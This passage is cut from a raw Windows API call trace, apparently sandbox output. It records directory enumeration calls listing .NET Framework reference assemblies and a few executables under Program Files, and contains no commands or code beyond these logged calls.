nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x941f2c70, ftCreationTime.dwHighDateTime=0x1d86782, ftLastAccessTime.dwLowDateTime=0x1cffbfe0, ftLastAccessTime.dwHighDateTime=0x1d8a488, ftLastWriteTime.dwLowDateTime=0x1cffbfe0, ftLastWriteTime.dwHighDateTime=0x1d8a488, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="force_film.exe", cAlternateFileName="FORCE_~1.EXE")) returned 1 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5912b1f0, ftCreationTime.dwHighDateTime=0x1d839de, ftLastAccessTime.dwLowDateTime=0x1bc90fc0, ftLastAccessTime.dwHighDateTime=0x1d83f1e, ftLastWriteTime.dwLowDateTime=0x1bc90fc0, ftLastWriteTime.dwHighDateTime=0x1d83f1e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="market.exe", cAlternateFileName="")) returned 1 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.087] FindClose (in: hFindFile=0x1a9d8660 | out: hFindFile=0x1a9d8660) returned 1 [0128.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0128.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0128.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0128.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft", lpFilePart=0x0) returned 0x2f [0128.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8660 [0128.089] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.089] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0128.089] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.089] FindClose (in: hFindFile=0x1a9d8660 | out: hFindFile=0x1a9d8660) returned 1 [0128.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0128.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0128.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0128.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework", lpFilePart=0x0) returned 0x39 [0128.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8660 [0128.090] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.090] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0128.090] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0128.090] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.090] FindClose (in: hFindFile=0x1a9d8660 | out: hFindFile=0x1a9d8660) returned 1 [0128.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0128.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0128.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0128.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0", lpFilePart=0x0) returned 0x3e [0128.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8660 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0128.096] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0128.097] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0128.098] FindClose (in: hFindFile=0x1a9d8660 | out: hFindFile=0x1a9d8660) returned 1 [0128.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0128.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0128.099] GetFullPathNameW (in: lpFileName="C:\\Program 